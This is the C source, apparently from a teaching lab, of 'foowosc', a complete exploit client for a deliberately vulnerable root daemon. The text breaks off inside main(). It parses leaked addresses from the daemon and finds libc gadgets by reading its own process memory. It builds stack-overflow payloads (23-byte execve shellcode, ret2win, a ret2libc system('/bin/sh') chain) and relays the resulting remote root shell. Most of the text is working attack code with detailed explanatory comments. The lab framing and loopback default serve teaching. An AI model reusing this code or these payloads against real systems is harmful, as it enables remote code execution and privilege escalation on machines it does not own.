foo/wosuid/foowosc.c

1130 lines
42 KiB
C
Raw Normal View History

2026-09-29 09:39:24 +02:00
/*
* ============================================================================
* foowosc.c -- "foowosc": the exploit for foowosd, the daemon that is root
* because it was STARTED as root (no setuid bit involved).
* ============================================================================
*
* PURPOSE
* -------
* `foowosc` connects to `foowosd`, reads the leaks it publishes, builds a
* payload that overwrites the saved return address on `foowosd`'s stack,
* and turns that into a *root* shell -- as long as the daemon was started
* as root (`sudo make run-root`), which is the state the Makefile calls the
* interesting one. There is no setuid bit anywhere; root gets into the
* picture the way it does in real life: someone started a privileged
* process.
*
* THE TECHNIQUE THAT GETS ROOT -- shellcode
* ----------------------------------------
* The payload is 23 bytes of raw machine code -- byte-identical to the
* shellcode in the parent lab's fooc.c:
*
* execve("/bin/sh", NULL, NULL)
*
* Nothing else. No setreuid, no clearing of the real uid, because foowosd
* was STARTED as root: its real AND effective uids are both 0. bash (and
* dash) only reset their effective id when the real id differs; with both
* already 0 there is nothing to reset, so the shell keeps root. Contrast
* this with the SUID lab, where the setuid bit left ruid at 1000 and the
* shell's guard quietly demoted a plain execve -- which is why foosc's
* shellcode needed the extra setreuid(0,0) prefix (32 bytes total).
*
* "spawning /bin/sh" is enough against a genuinely-root process.
* It only fails against the half-root state the setuid bit makes.
*
* THE OTHER TECHNIQUES -- and why none of them needs extra work here
* ------------------------------------------------------------------
* In the SUID lab, ret2win and ret2libc were demoted to non-root shells by
* the same bash guard. Here they are NOT, for the identical reason:
*
* ret2win foowosd's win() does execl("/bin/sh"). The process is
* ruid==euid==0, so the shell stays root. Root shell.
* ret2libc system("/bin/sh") runs the command in a fresh
* /bin/sh. Same equal-uids reasoning. Root shell.
* ret2win-root does not exist here -- it existed in foosc to clear
* the real uid, and there is nothing to clear.
*
* So the matrix is uniformly "root" when the daemon is root, and uniformly
* "user" when it is not -- which is the clean, honest statement of how this
* lab differs from the SUID one.
*
* THE SUID STATE IS PART OF THE PROTOCOL
* --------------------------------------
* The daemon's banner includes "ids=euid/ruid". foowosc prints a loud
* warning when euid is not 0, i.e. when you started the daemon as a plain
* user instead of as root. Everything below still works -- every technique
* lands a shell -- it just will not be a root shell, and thinking the
* exploit "failed" would be wrong.
*
* SAFETY
* ------
* Defaults to 127.0.0.1:2344. This lab produces ROOT shells on the machine
* it runs against. Point it at anything you do not own and you are
* committing a computer-intrusion offence. Don't.
*
* Build: make foowosc
* Usage: ./foowosc [-h HOST] [-p PORT] [-b BINARY] [-t TECH] [-i] [-n] [-v]
*
* THE SHELL IS ON THE VICTIM
* --------------------------
* Like its siblings, this program never spawns a local shell. After the
* payload lands there is exactly one shell, running inside foowosd's
* hijacked (root) process with the TCP connection as its stdio. This side
* only relays bytes -- see become_shell() for the story of why that is the
* only correct design.
* ============================================================================
*/
/* glibc extensions: memmem(), dlsym(), MAP_ANONYMOUS. */
#define _GNU_SOURCE
#include <arpa/inet.h> /* inet_pton(): "127.0.0.1" -> 4 bytes. */
#include <ctype.h> /* isspace()/isxdigit() for parsing. */
#include <dlfcn.h> /* dlsym(): find a symbol's address in OUR libc. */
#include <errno.h> /* errno / strerror(). */
#include <fcntl.h> /* open(), O_NONBLOCK. */
#include <netinet/in.h> /* struct sockaddr_in, htons(). */
#include <poll.h> /* poll(): multiplex the terminal and the socket. */
#include <stdint.h> /* uint64_t. */
#include <stdio.h> /* printf and friends. */
#include <stdlib.h> /* exit(), malloc(), strtoul(). */
#include <string.h> /* memcpy(), strstr(), memmem(). */
#include <sys/socket.h> /* socket(), connect(), shutdown(). */
#include <sys/types.h> /* ssize_t, pid_t. */
#include <sys/wait.h> /* waitpid(): reap the relay child when the session
* ends. */
#include <unistd.h> /* read, write, close, dup2, usleep, _exit. */
/* ------------------------------------------------------------------------- */
/* Defaults */
/* ------------------------------------------------------------------------- */
#define FOOWOSC_HOST "127.0.0.1" /* Loopback. Please keep it that way. */
#define FOOWOSC_PORT 2344 /* Must match foowosd's -p. */
#define FOOWOSC_BIN "./foowosd" /* The target binary, for static analysis. */
/* Padding byte: 'A' (0x41). Not NUL, so it never truncates a string-based
* copy; instantly recognisable in a crash dump as 0x4141414141414141. */
#define PAD_BYTE 0x41
/* Upper bound on banner/leak text we tolerate. */
#define RECV_MAX 4096
/* ------------------------------------------------------------------------- */
/* x86-64 shellcode -- the plain execve payload */
/* ------------------------------------------------------------------------- */
/*
* 23 bytes of machine code, byte-for-byte what shellcode.S assembles to,
* and byte-for-byte the same payload the parent lab's fooc used against the
* user-level `food` daemon:
*
* execve("/bin/sh", NULL, NULL)
*
* 31 f6 xor esi, esi ; argv = NULL
* 31 d2 xor edx, edx ; envp = NULL
* 48 bf 2f 62 69 6e 2f movabs rdi, 0x68732f6e69622f
* 73 68 00 ; rdi = "/bin/sh\0"
* 57 push rdi ; string onto the stack
* 48 89 e7 mov rdi, rsp ; rdi = &"/bin/sh"
* 6a 3b push 0x3b ; 59 = execve
* 58 pop rax
* 0f 05 syscall
*
* WHY NO setreuid PREFIX -- this comment is this lab in miniature:
*
* A setuid-root binary runs with (ruid=user, euid=0); bash notices the
* mismatch and sets euid = ruid, so "just spawn a shell" fails -- foosc
* therefore had to add setreuid(0,0) to clear the real uid too
* (32-byte shellcode).
*
* foowosd is root because it was STARTED as root: (ruid=0, euid=0).
* execve changes neither, bash has no mismatch to correct, and root
* survives -- so the plain 23-byte execve is all that is needed.
*
* There is deliberately no `ret` at the end: execve replaces the whole
* process image and never returns.
*/
static const unsigned char SHELLCODE[] = {
0x31, 0xf6, /* xor esi, esi */
0x31, 0xd2, /* xor edx, edx */
0x48, 0xbf, 0x2f, 0x62, 0x69, /* movabs rdi, "/bin/sh" (low bytes) */
0x6e, 0x2f, 0x73, 0x68, 0x00, /* movabs rdi, "/bin/sh\0" (high) */
0x57, /* push rdi */
0x48, 0x89, 0xe7, /* mov rdi, rsp */
0x6a, 0x3b, /* push 0x3b (execve) */
0x58, /* pop rax */
0x0f, 0x05 /* syscall */
};
#define SHELLCODE_LEN ((int)(sizeof(SHELLCODE)))
/* ------------------------------------------------------------------------- */
/* Results of analysing the target binary and our own libc */
/* ------------------------------------------------------------------------- */
struct bininfo {
unsigned long vuln_addr; /* Address of foowosd's vulnerable_handler().*/
unsigned long win_addr; /* Address of foowosd's win(). */
unsigned long frame_off; /* buf's distance below rbp, from the disasm. */
unsigned long rip_off; /* buf -> saved return address. THE key. */
unsigned long ret_gadget; /* Address of a bare `ret` in the binary. */
};
struct libcinfo {
unsigned long base; /* libc base in OUR process. */
unsigned long off_system; /* offset of system() */
unsigned long off_read; /* offset of read() -- matches the leak */
unsigned long off_binsh; /* offset of the "/bin/sh" string */
unsigned long off_poprdi; /* offset of a `pop rdi ; ret` gadget */
};
struct leaks {
unsigned long stack; /* A stack address (informational). */
unsigned long libc_read; /* Real address of read() in target's libc. */
unsigned long buf; /* Address of foowosd's `buf`. The whole game.*/
int euid; /* Target's effective uid (from banner). */
int ruid; /* Target's real uid. */
};
/* ------------------------------------------------------------------------- */
/* Step 1: static analysis of the target binary via objdump */
/* ------------------------------------------------------------------------- */
/*
* Why parse disassembly instead of hardcoding the offset? Because the number
* (88 for this build) is a property of the compilation, not of the bug.
* Rebuild with another compiler version or another local variable and it
* changes; a hardcoded offset is the classic reason exploits die after a
* rebuild. Computing it keeps the exploit honest and it is what a real
* analyst actually does.
*
* GCC -O0 on x86-64 emits for the target function:
* push %rbp ; mov %rsp,%rbp ; sub $N,%rsp
* lea -OFF(%rbp),%reg <- the buffer, passed to read()
* so buf sits OFF below the saved frame pointer and the RETURN ADDRESS is
* 8 bytes further up: rip_off = OFF + 8
*/
static int analyse_binary(const char *path, struct bininfo *out)
{
char cmd[512];
char line[1024];
FILE *pp;
int in_vuln = 0;
int saw_read = 0;
int have_off = 0;
long best_off = 0;
int status;
memset(out, 0, sizeof(*out));
/* objdump is guaranteed present because the lab builds with it. */
snprintf(cmd, sizeof(cmd), "objdump -d --no-show-raw-insn '%s' 2>/dev/null",
path);
pp = popen(cmd, "r");
if (pp == NULL) {
fprintf(stderr, "foowosc: cannot run objdump: %s\n", strerror(errno));
return -1;
}
while (fgets(line, sizeof(line), pp) != NULL) {
/* --- Function boundaries: "0000000000401535 <win>:" ---------- */
if (strstr(line, "<vulnerable_handler>:\n") != NULL) {
in_vuln = 1;
sscanf(line, "%lx", &out->vuln_addr);
continue;
}
if (strstr(line, "<win>:\n") != NULL) {
/* This lab has only one backdoor (no win_root: the SUID lab
* needed that second one to clear the real uid; here there is
* nothing to clear). */
sscanf(line, "%lx", &out->win_addr);
continue;
}
/* Any other "<label>:" line closes the vulnerable function. */
if (in_vuln && strchr(line, '<') != NULL && strstr(line, ">:\n") != NULL) {
in_vuln = 0;
continue;
}
/* Remember the first whole `ret` mnemonic anywhere: ret sleds and
* the 16-byte-alignment fix both need one. */
if (out->ret_gadget == 0) {
unsigned long a = 0;
const char *colon = strchr(line, ':');
if (sscanf(line, "%lx", &a) == 1 && colon != NULL) {
const char *p = colon + 1;
while (*p == ' ' || *p == '\t')
p++;
if (strncmp(p, "ret", 3) == 0 &&
(p[3] == '\0' || p[3] == '\n' ||
p[3] == ' ' || p[3] == '\t'))
out->ret_gadget = a;
}
}
if (!in_vuln)
continue;
/* --- The vulnerable read: "call ... <read@plt>" ------------- */
if (strstr(line, "<read@plt>") != NULL) {
saw_read = 1;
continue;
}
/* --- The buffer reference: "lea -0x50(%rbp),%rcx" ----------- */
/* Accept only a lea BEFORE the read call (that disambiguates `buf`
* from the other local array), and take the first one. */
if (!saw_read && !have_off) {
const char *p = strstr(line, "%rbp)");
if (p != NULL && strstr(line, "lea") != NULL) {
const char *q = line;
char disp[32];
int d = 0;
while (q < p && *q != '-')
q++;
if (q < p) {
const char *h = q;
while (h < p && d < (int)sizeof(disp) - 1) {
if (isxdigit((unsigned char)*h) || *h == '-' ||
*h == 'x' || *h == '+')
disp[d++] = *h++;
else
break;
}
disp[d] = '\0';
if (d > 0) {
/* The disassembly shows "-0x50"; strtol returns -80.
* We want the DISTANCE below rbp, so take abs(). */
best_off = labs(strtol(disp, NULL, 0));
have_off = 1;
}
}
}
}
}
status = pclose(pp);
(void)status;
if (out->vuln_addr == 0 || out->win_addr == 0 || !have_off) {
fprintf(stderr,
"foowosc: could not fully analyse '%s'.\n"
" vuln=0x%lx win=0x%lx buf_off=%ld\n"
" Is this really the foowosd binary? Is objdump installed?\n",
path, out->vuln_addr, out->win_addr, best_off);
return -1;
}
out->frame_off = (unsigned long)best_off;
if (best_off < 0) {
fprintf(stderr,
"foowosc: buffer displacement parsed as %ld; refusing to guess.\n",
best_off);
return -1;
}
/*
* THE key computation: buf is `best_off` bytes below the saved frame
* pointer, and the saved return address is 8 bytes above the frame
* pointer, so the distance from buf to the return address is:
*/
out->rip_off = (unsigned long)best_off + 8UL;
return 0;
}
/* ------------------------------------------------------------------------- */
/* Step 2: introspect our own libc for the offsets we need */
/* ------------------------------------------------------------------------- */
/*
* The target's libc base is unknown (ASLR), but it is the SAME library we
* are linked against, so we measure offsets HERE and add them to the target's
* base derived from the leaked `read` address:
*
* target_base = leaked_read - off_read
* system = target_base + off_system
*
* This delta-arithmetic is how real exploits stay alive across libc updates,
* and it is exactly why "rebase the binaries" is a real mitigation.
*/
static int analyse_libc(struct libcinfo *out)
{
FILE *f;
char line[512];
unsigned long lo, hi;
unsigned long rx_lo = 0, rx_hi = 0;
unsigned long ro_lo[32], ro_hi[32];
int n_ro = 0;
int memfd;
void *p;
memset(out, 0, sizeof(*out));
/* ---- 2a. Find libc's mappings in OUR address space (identical file). */
f = fopen("/proc/self/maps", "r");
if (f == NULL) {
fprintf(stderr, "foowosc: cannot open /proc/self/maps: %s\n",
strerror(errno));
return -1;
}
while (fgets(line, sizeof(line), f) != NULL) {
if (strstr(line, "libc.so.6") == NULL)
continue;
if (sscanf(line, "%lx-%lx", &lo, &hi) != 2)
continue;
/* The lowest libc mapping IS the load base. */
if (out->base == 0 || lo < out->base)
out->base = lo;
/* Executable text: where functions and gadgets live. */
if (strstr(line, "r-xp") != NULL) {
rx_lo = lo;
rx_hi = hi;
}
/* Read-only data: where "/bin/sh" as a constant lives. */
if (strstr(line, "r--p") != NULL && n_ro < 32) {
ro_lo[n_ro] = lo;
ro_hi[n_ro] = hi;
n_ro++;
}
}
fclose(f);
if (out->base == 0 || rx_hi == 0) {
fprintf(stderr, "foowosc: could not locate libc in /proc/self/maps\n");
return -1;
}
/* ---- 2b. dlsym() the two function offsets. ------------------------ */
p = dlsym(RTLD_DEFAULT, "system");
if (p == NULL) { fprintf(stderr, "foowosc: no system()\n"); return -1; }
out->off_system = (unsigned long)p - out->base;
p = dlsym(RTLD_DEFAULT, "read");
if (p == NULL) { fprintf(stderr, "foowosc: no read()\n"); return -1; }
out->off_read = (unsigned long)p - out->base;
/* ---- 2c. Hunt for a `pop rdi ; ret` gadget in the live text. ----- */
memfd = open("/proc/self/mem", O_RDONLY);
if (memfd < 0) {
fprintf(stderr, "foowosc: cannot open /proc/self/mem: %s\n",
strerror(errno));
return -1;
}
/* `pop rdi; ret` is the 2-byte sequence 5f c3. It turns ROP into
* "call any function with one argument". The mapping offsets and file
* offsets differ (segment load bias), so we scan live memory. */
{
size_t sz = (size_t)(rx_hi - rx_lo);
unsigned char *text = malloc(sz);
if (text == NULL) { close(memfd); return -1; }
if (pread(memfd, text, sz, (off_t)rx_lo) == (ssize_t)sz) {
unsigned char *hit = memmem(text, sz, "\x5f\xc3", 2);
if (hit != NULL)
out->off_poprdi = (unsigned long)(hit - text)
+ (rx_lo - out->base);
}
free(text);
}
/* ---- 2d. Find the "/bin/sh" string in the read-only segments. ---- */
for (int i = 0; i < n_ro && out->off_binsh == 0; i++) {
size_t sz = (size_t)(ro_hi[i] - ro_lo[i]);
unsigned char *ro = malloc(sz);
if (ro == NULL)
break;
if (pread(memfd, ro, sz, (off_t)ro_lo[i]) == (ssize_t)sz) {
unsigned char *hit = memmem(ro, sz, "/bin/sh", 7);
if (hit != NULL)
out->off_binsh = (unsigned long)(hit - ro)
+ (ro_lo[i] - out->base);
}
free(ro);
}
close(memfd);
if (out->off_poprdi == 0 || out->off_binsh == 0) {
fprintf(stderr,
"foowosc: failed to locate gadgets/strings in libc\n");
return -1;
}
return 0;
}
/* ------------------------------------------------------------------------- */
/* Step 3: networking */
/* ------------------------------------------------------------------------- */
static int connect_to(const char *host, int port)
{
struct sockaddr_in sa;
int fd;
int one = 1;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
fprintf(stderr, "foowosc: socket: %s\n", strerror(errno));
return -1;
}
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons((uint16_t)port);
if (inet_pton(AF_INET, host, &sa.sin_addr) != 1) {
fprintf(stderr, "foowosc: bad address '%s'\n", host);
close(fd);
return -1;
}
if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
fprintf(stderr, "foowosc: connect %s:%d: %s\n",
host, port, strerror(errno));
close(fd);
return -1;
}
return fd;
}
/* send_all() -- write a whole buffer to a blocking socket, looping over the
* short writes a stream may legitimately produce. */
static int send_all(int fd, const void *buf, size_t n)
{
const unsigned char *p = buf;
size_t sent = 0;
while (sent < n) {
ssize_t w = write(fd, p + sent, n - sent);
if (w < 0) {
if (errno == EINTR)
continue;
return -1;
}
sent += (size_t)w;
}
return 0;
}
/* write_nb() -- like send_all but for a NON-BLOCKING descriptor: retry on
* EAGAIN after poll() says the descriptor can take more. Used only by the
* relay loop, which must stay responsive. */
static int write_nb(int fd, const void *buf, size_t n)
{
const unsigned char *p = buf;
size_t sent = 0;
while (sent < n) {
ssize_t w = write(fd, p + sent, n - sent);
if (w > 0) {
sent += (size_t)w;
continue;
}
if (w < 0 && errno == EINTR)
continue;
if (w < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
struct pollfd pfd;
pfd.fd = fd;
pfd.events = POLLOUT;
pfd.revents = 0;
if (poll(&pfd, 1, 1000) <= 0)
return -1;
continue;
}
return -1;
}
return 0;
}
/* read_until() -- read until every pattern in `pats` has been seen, or we
* run out of buffer / patience. Re-scans the whole buffer after each read so
* a banner split across TCP segments cannot fool us. */
static int read_until(int fd, const char *const *pats, int npats, char *out,
size_t outsz)
{
size_t got = 0;
int missing = npats;
while (missing > 0 && got + 1 < outsz && got < RECV_MAX) {
ssize_t r = read(fd, out + got, outsz - got - 1);
if (r <= 0) {
if (r < 0 && errno == EINTR)
continue;
break;
}
got += (size_t)r;
out[got] = '\0';
missing = 0;
for (int i = 0; i < npats; i++)
if (strstr(out, pats[i]) == NULL)
missing++;
}
out[got < outsz ? got : outsz - 1] = '\0';
return (missing == 0) ? 0 : -1;
}
/* parse_leaks() -- pull euid/ruid and the three hex addresses out of the
* banner. The wire formats are:
*
* FOOWOSD 1.0 ids=0/0 leak stack=0x... libc=0x...
* BUF=0x...
*
* "ids=euid/ruid" is the "am I root ?" health indicator. It is spelled
* "ids=" (not "euid="/"ruid=") so the test harness's strict "uid=NNN("
* check stays unambiguous. */
static int parse_leaks(const char *text, struct leaks *out)
{
const char *p;
memset(out, 0, sizeof(*out));
p = strstr(text, "ids=");
if (p != NULL)
(void)sscanf(p + 4, "%d/%d", &out->euid, &out->ruid);
if ((p = strstr(text, "stack=")) != NULL)
out->stack = strtoul(p + 6, NULL, 0);
if ((p = strstr(text, "libc=")) != NULL)
out->libc_read = strtoul(p + 5, NULL, 0);
if ((p = strstr(text, "BUF=")) != NULL)
out->buf = strtoul(p + 4, NULL, 0);
if (out->libc_read == 0 || out->buf == 0) {
fprintf(stderr,
"foowosc: the daemon did not leak what we expected "
"(stack=%#lx libc=%#lx BUF=%#lx).\n"
" Is ./foowosd v1.0 the running binary?\n",
out->stack, out->libc_read, out->buf);
return -1;
}
return 0;
}
/* ------------------------------------------------------------------------- */
/* Step 4: payload construction */
/* ------------------------------------------------------------------------- */
/* A growable byte buffer for building the payload. */
struct pbuf {
unsigned char *data;
size_t len;
size_t cap;
};
static int pbuf_reserve(struct pbuf *p, size_t extra)
{
if (p->len + extra <= p->cap)
return 0;
size_t ncap = p->cap ? p->cap * 2 : 256;
while (ncap < p->len + extra)
ncap *= 2;
unsigned char *nd = realloc(p->data, ncap);
if (nd == NULL)
return -1;
p->data = nd;
p->cap = ncap;
return 0;
}
static int pbuf_u8(struct pbuf *p, unsigned char b)
{
if (pbuf_reserve(p, 1) < 0)
return -1;
p->data[p->len++] = b;
return 0;
}
/* Little-endian 64-bit word, written byte by byte so the byte order is
* explicit and the exploit builds identically on any host. */
static int pbuf_u64(struct pbuf *p, unsigned long v)
{
for (int i = 0; i < 8; i++)
if (pbuf_u8(p, (unsigned char)((v >> (8 * i)) & 0xffUL)) < 0)
return -1;
return 0;
}
static int pbuf_pad(struct pbuf *p, size_t n)
{
if (pbuf_reserve(p, n) < 0)
return -1;
memset(p->data + p->len, PAD_BYTE, n);
p->len += n;
return 0;
}
/* ------------------------------------------------------------------------- */
/* Step 5: the shell (relay edition -- see become_shell for the full story) */
/* ------------------------------------------------------------------------- */
/* drain_hint() -- non-blockingly show whatever the daemon said before we
* hand the terminal to the victim shell, so a failed payload's "no hijack"
* message is visible rather than eaten. */
static void drain_hint(int fd)
{
char buf[1024];
int flags = fcntl(fd, F_GETFL, 0);
ssize_t n;
if (flags == -1)
return;
fcntl(fd, F_SETFL, flags | O_NONBLOCK);
n = read(fd, buf, sizeof(buf) - 1);
if (n > 0) {
buf[n] = '\0';
fputs(buf, stdout);
fflush(stdout);
}
fcntl(fd, F_SETFL, flags);
}
/* relay_stdio() -- one poll() loop splices terminal <-> socket. A single
* process means strict alternation, so the two directions can never
* interleave mid-line (the failure mode of the two-fork version, which split
* `uname` output in half). Both descriptors are made non-blocking so poll()
* tells us when each can be serviced. */
static void relay_stdio(int sock)
{
struct pollfd pfd[2];
char buf[4096];
int saved[2] = { -1, -1 };
int saved_sock;
for (int i = 0; i < 2; i++) {
saved[i] = fcntl(i, F_GETFL, 0);
if (saved[i] != -1)
fcntl(i, F_SETFL, saved[i] | O_NONBLOCK);
}
saved_sock = fcntl(sock, F_GETFL, 0);
if (saved_sock != -1)
fcntl(sock, F_SETFL, saved_sock | O_NONBLOCK);
pfd[0].fd = STDIN_FILENO;
pfd[0].events = POLLIN;
pfd[1].fd = sock;
pfd[1].events = POLLIN;
for (;;) {
int n = poll(pfd, 2, -1);
ssize_t r;
if (n < 0) {
if (errno == EINTR)
continue;
break;
}
if (n == 0)
continue;
if (pfd[0].revents & POLLIN) {
r = read(STDIN_FILENO, buf, sizeof(buf));
if (r > 0) {
if (write_nb(sock, buf, (size_t)r) < 0)
break;
} else if (r == 0) {
/* Terminal EOF: half-close the socket so the remote shell
* sees end-of-input and exits on its own. */
shutdown(sock, SHUT_WR);
break;
}
}
if (pfd[1].revents & (POLLIN | POLLHUP | POLLERR)) {
r = read(sock, buf, sizeof(buf));
if (r > 0) {
if (write_nb(STDOUT_FILENO, buf, (size_t)r) < 0)
break;
} else {
break;
}
}
}
for (int i = 0; i < 2; i++)
if (saved[i] != -1)
fcntl(i, F_SETFL, saved[i]);
if (saved_sock != -1)
fcntl(sock, F_SETFL, saved_sock);
}
/*
* become_shell() -- after the payload lands, the victim process IS a shell
* (its stdio are the socket) and only one shell exists in the whole picture:
* on the victim, as ROOT. All this side must do is move bytes:
*
* terminal <-> TCP socket <-> foowosd's root /bin/sh
*
* The history is instructive and is in fooc.c too: version 1 dup2'd the
* socket onto our own stdio and exec'd a LOCAL shell (deaf and mute);
* version 2 forked a relay alongside a local login shell, and the login
* shell vacuumed exactly one byte off the head of every incoming chunk
* (symptom: "uid=1000(hanez)" printed as "id=1000(hanez)"). A descriptor
* has ONE read cursor; it must have exactly ONE reader. Hence: no local
* shell, no second reader. Just bytes.
*/
static void become_shell(int fd)
{
pid_t relay;
printf("foowosc: shell is on the victim (root if foowosd was started "
"as root); relaying\n");
relay = fork();
if (relay < 0) {
fprintf(stderr, "\nfoowosc: fork() failed: %s\n", strerror(errno));
return;
}
if (relay == 0) {
relay_stdio(fd);
_exit(0);
}
for (;;) {
int status;
pid_t r = waitpid(relay, &status, 0);
if (r == relay)
break;
if (r < 0 && errno == EINTR)
continue;
if (r < 0) {
fprintf(stderr, "\nfoowosc: waitpid: %s\n", strerror(errno));
break;
}
}
close(fd);
printf("\nfoowosc: session closed.\n");
}
/* ------------------------------------------------------------------------- */
/* The techniques */
/* ------------------------------------------------------------------------- */
/* TECHNIQUE 1 -- ret2win: jump to win(). foowosd's win() does a plain
* execl("/bin/sh"). Because the daemon was STARTED as root, this process
* has ruid == euid == 0, so bash has no mismatch to reset and the shell IS
* root. (Contrast: the SUID lab's win() gave a non-root shell because there
* ruid stayed 1000.) */
static void build_ret2win(struct pbuf *p, const struct bininfo *bi)
{
pbuf_pad(p, bi->rip_off);
pbuf_u64(p, bi->win_addr); /* -> win(): /bin/sh, root when daemon is*/
} /* root (ruid==euid==0). */
/* TECHNIQUE 2 -- ret2libc: system("/bin/sh"). system() runs the command in
* a fresh /bin/sh. Same equal-uids reasoning as win(): the shell keeps
* whatever uids the process had, and the process has 0/0 -- so a root shell.
* In the SUID lab the same chain was demoted to uid 1000; here there is no
* mismatch. */
static void build_ret2libc(struct pbuf *p, const struct bininfo *bi,
const struct libcinfo *li, const struct leaks *lk)
{
unsigned long base = lk->libc_read - li->off_read;
unsigned long system = base + li->off_system;
unsigned long binsh = base + li->off_binsh;
unsigned long poprdi = base + li->off_poprdi;
printf("foowosc: libc base = %#lx\n", base);
printf("foowosc: system = %#lx\n", system);
printf("foowosc: \"/bin/sh\" = %#lx\n", binsh);
printf("foowosc: pop rdi;ret= %#lx\n", poprdi);
pbuf_pad(p, bi->rip_off);
pbuf_u64(p, poprdi); /* gadget: load next word into rdi */
pbuf_u64(p, binsh); /* argument to system() */
pbuf_u64(p, system); /* the function to call */
}
/*
* TECHNIQUE 3 -- shellcode (the star of the show)
* ------------------------------------------------
* The payload IS the program. 23 bytes of machine code sit at the start of
* `buf`; the overwritten return address points back at them. When the CPU
* `ret`s into buf, it starts executing our instructions -- execve("/bin/sh")
* -- inside a process whose real AND effective uids are both 0 (because the
* daemon was started as root). The shell that lands is therefore root.
*
* NX (W^X) is the reason this is special and rare: the target only executes
* the stack because foowosd was built with -z execstack. On a hardened
* build this payload is a SIGSEGV and only techniques 1/2 (running code that
* already exists) remain. See README.md's mitigation table.
*/
static void build_shellcode(struct pbuf *p, const struct bininfo *bi,
const struct leaks *lk)
{
printf("foowosc: placing %d bytes of shellcode at %#lx\n",
SHELLCODE_LEN, lk->buf);
for (int i = 0; i < SHELLCODE_LEN; i++)
pbuf_u8(p, SHELLCODE[i]);
size_t used = SHELLCODE_LEN;
if (bi->rip_off > used)
pbuf_pad(p, bi->rip_off - used);
/* RIP must land on the first byte of our code. */
pbuf_u64(p, lk->buf);
}
/* OVERFLOW DEMO -- junk only. Fills buf, clobbers the saved rbp and the
* return address with 0x4141414141414141, which is certainly not mapped:
* SIGSEGV, and the daemon's crash reporter logs the event as proof. */
static void build_demo(struct pbuf *p, const struct bininfo *bi)
{
pbuf_pad(p, bi->rip_off + 8);
}
/* ------------------------------------------------------------------------- */
/* main() */
/* ------------------------------------------------------------------------- */
static void usage(const char *a0)
{
printf(
"foowosc -- exploit for the intentionally vulnerable ROOT daemon 'foowosd'\n"
"\n"
"usage: %s [options]\n"
"\n"
" -h HOST target address (default %s)\n"
" -p PORT target port (default %d)\n"
" -b PATH target binary to analyse (default %s)\n"
" -t TECH technique:\n"
" shellcode execve shellcode -> ROOT shell [default]\n"
" ret2win jump to win() -> root shell when daemon is root\n"
" ret2libc system(\"/bin/sh\") -> root shell when root\n"
" demo overflow with junk only, expect SIGSEGV\n"
" leak just print the leaks, send no payload\n"
" -i / -n interactive shell (default) / no shell, just send and report\n"
" -v verbose: dump every address\n"
"\n"
"To get the ROOT shell, foowosd must have been STARTED as root:\n"
" sudo make run-root (or, without sudo: make run-root-ns)\n"
"Then run this against it. Loopback only, please.\n",
a0, FOOWOSC_HOST, FOOWOSC_PORT, FOOWOSC_BIN);
}
int main(int argc, char **argv)
{
const char *host = FOOWOSC_HOST;
const char *binpath = FOOWOSC_BIN;
const char *tech = "shellcode";
int port = FOOWOSC_PORT;
int verbose = 0;
int want_shell = -1; /* -i / -n */
int fd;
int o;
struct bininfo bi;
struct libcinfo li;
struct leaks lk;
struct pbuf p = { NULL, 0, 0 };
char rx[RECV_MAX];
int is_leak = 0;
while ((o = getopt(argc, argv, ":h:p:b:t:inv")) != -1) {
switch (o) {
case 'h': host = optarg; break;
case 'p': port = atoi(optarg); break;
case 'b': binpath = optarg; break;
case 't': tech = optarg; break;
case 'i': want_shell = 1; break;
case 'n': want_shell = 0; break;
case 'v': verbose = 1; break;
default: usage(argv[0]); return 2;
}
}
/* ---- Phase 1: learn everything we can without touching the network. */
if (analyse_binary(binpath, &bi) < 0)
return 1;
if (analyse_libc(&li) < 0)
return 1;
printf("foowosc: target binary : %s\n", binpath);
printf("foowosc: vulnerable_handler = %#lx\n", bi.vuln_addr);
printf("foowosc: win() = %#lx\n", bi.win_addr);
long rbp_off_as_signed = -(long)bi.frame_off;
printf("foowosc: buf is at rbp%+ld, so the saved RIP is %lu bytes in\n",
rbp_off_as_signed, bi.rip_off);
printf("foowosc: ret gadget = %#lx\n", bi.ret_gadget);
printf("foowosc: our libc base = %#lx\n", li.base);
/* Decide whether we want the interactive shell by default. */
if (strcmp(tech, "demo") == 0 || strcmp(tech, "leak") == 0) {
is_leak = (strcmp(tech, "leak") == 0);
if (want_shell == -1) want_shell = 0;
} else if (want_shell == -1) {
want_shell = 1;
}
/* ---- Phase 2: connect and read what the daemon tells us. ----------- */
fd = connect_to(host, port);
if (fd < 0)
return 1;
{
const char *pats[4] = { "ids=", "stack=", "libc=", "BUF=" };
if (read_until(fd, pats, 4, rx, sizeof(rx)) < 0)
fprintf(stderr, "foowosc: warning: incomplete banner/leak text\n");
}
if (parse_leaks(rx, &lk) < 0) {
close(fd);
return 1;
}
printf("foowosc: daemon banner (ids=euid/ruid):\n----\n%s----\n", rx);
printf("foowosc: target euid=%d ruid=%d\n", lk.euid, lk.ruid);
/*
* THE ROOT CHECK. If euid is not 0, foowosd was started as a normal
* user and there will be no root shell no matter how cleanly the
* payload lands. Say so loudly now, so a "non-root shell" later is not
* mistaken for a broken exploit. (A non-root shell is still RCE, just
* not privilege escalation -- the two are worth distinguishing in your
* head too.)
*/
if (lk.euid != 0) {
fprintf(stderr,
"\nfoowosc: WARNING: the daemon is NOT running with euid 0.\n"
" The payload will still land, but the shell will be\n"
" a plain user shell, not root.\n"
" Fix: sudo make run-root (or make run-root-ns)\n"
" then restart foowosd.\n\n");
} else {
printf("foowosc: target is running as root (no setuid bit needed: it\n"
" was started as root); the shellcode session should\n"
" yield uid=0(root).\n");
}
printf("foowosc: leaked stack ptr = %#lx\n", lk.stack);
printf("foowosc: leaked libc read = %#lx\n", lk.libc_read);
printf("foowosc: leaked buf = %#lx\n", lk.buf);
if (is_leak) {
printf("foowosc: leak mode -- not sending a payload.\n");
close(fd);
return 0;
}
/* ---- Phase 3: build the payload. ---------------------------------- */
if (strcmp(tech, "shellcode") == 0) build_shellcode(&p, &bi, &lk);
else if (strcmp(tech, "ret2win") == 0) build_ret2win(&p, &bi);
else if (strcmp(tech, "ret2libc") == 0) build_ret2libc(&p, &bi, &li, &lk);
else if (strcmp(tech, "demo") == 0) build_demo(&p, &bi);
else {
fprintf(stderr, "foowosc: unknown technique '%s'\n", tech);
close(fd);
return 2;
}
if (p.len == 0) {
